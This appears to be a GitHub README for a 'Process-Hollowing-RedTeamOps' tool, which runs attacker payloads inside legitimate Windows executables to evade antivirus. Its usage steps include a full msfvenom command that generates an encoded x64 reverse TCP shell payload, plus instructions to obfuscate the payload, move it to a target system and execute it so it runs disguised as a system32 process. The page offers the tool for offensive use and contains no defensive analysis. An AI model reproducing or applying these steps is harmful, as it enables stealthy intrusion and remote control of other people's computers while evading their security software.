Skip to content

vatsalgupta67/Process-Hollowing

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

38 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Process-Hollowing-RedTeamOps

Red Team Operation's Defense Evasion Technique for executing payload without raising flags on Target System.

Made With ❤️ in 🇮🇳!!!

Credit of these Images goes to their respective creators ☺️!!

hollowing1-1_

491809_1_En_10_Fig27_HTML

90540-1sncmwnz19drbfqzllk_d5w

We have both x86 and x64 bit release as you want. we strongly suggest x64-bit release if you're confused about compiling manually.

We suggest to use directly compiled executables as in some situations it depends on your compiler functionality. Both executables are stable and tested several times.

If you wish to Compile x64 bit relese on Kali with cross-compiler - x86_64-w64-mingw32-gcc.

For 32-bit - Mingw for Windows.

Index

Tools Resources and skills used

  1. ChatGPT for researching about required Windows API and functionality.

  2. Visual Studio Code - Linux and Windows.

  3. Cross-compiler.

  4. Process-Hollowing Technique working.

  5. Deep-imagination .

  6. Error-handling.

  7. Programming Skills.

  8. Time.

  9. Defeating Faliures.

  10. Tons of Research.

  11. Dedication.

  12. Smart Work.

Demo

windows-hollow

kali

win-update

firewall

windef-2

windows-def

How to use

⚠️ Note - Sometimes you have to Re-run the program because of Memory Issues. But do not worry, You'll get the shell on Re-run !!! 🧿

1. Generate a .bin file only - You can use C2 servers and metasploit too or any you want

Example - msfvenom -p windows/x64/shell_reverse_tcp LHOST=< IP > LPORT=< PORT > -f raw -i < iterations as you want for evasion > -e < encoder you want to use > > shell.bin - x64-Bit

2. Obfuscation is mainly your work to do as per your operation's requirement and the other one's? - WE'LL HANDLE!!!

3. Transfer Both Payload and Binary to Target System.

4. Execute, But remember .bin files can evade better as per my Personal Experience so, just make your Payload Obfuscated for better Defense Evasion.

5. After Execution, Payload will be run as your specified genuine windows executable ( system32's too ).

6. If you're injecting to custom binary - It might fails due to Memory allocation issue , still depends on your Privilege and many 3rd level factors. But you can give it a try - In some cases it will work !! 🧿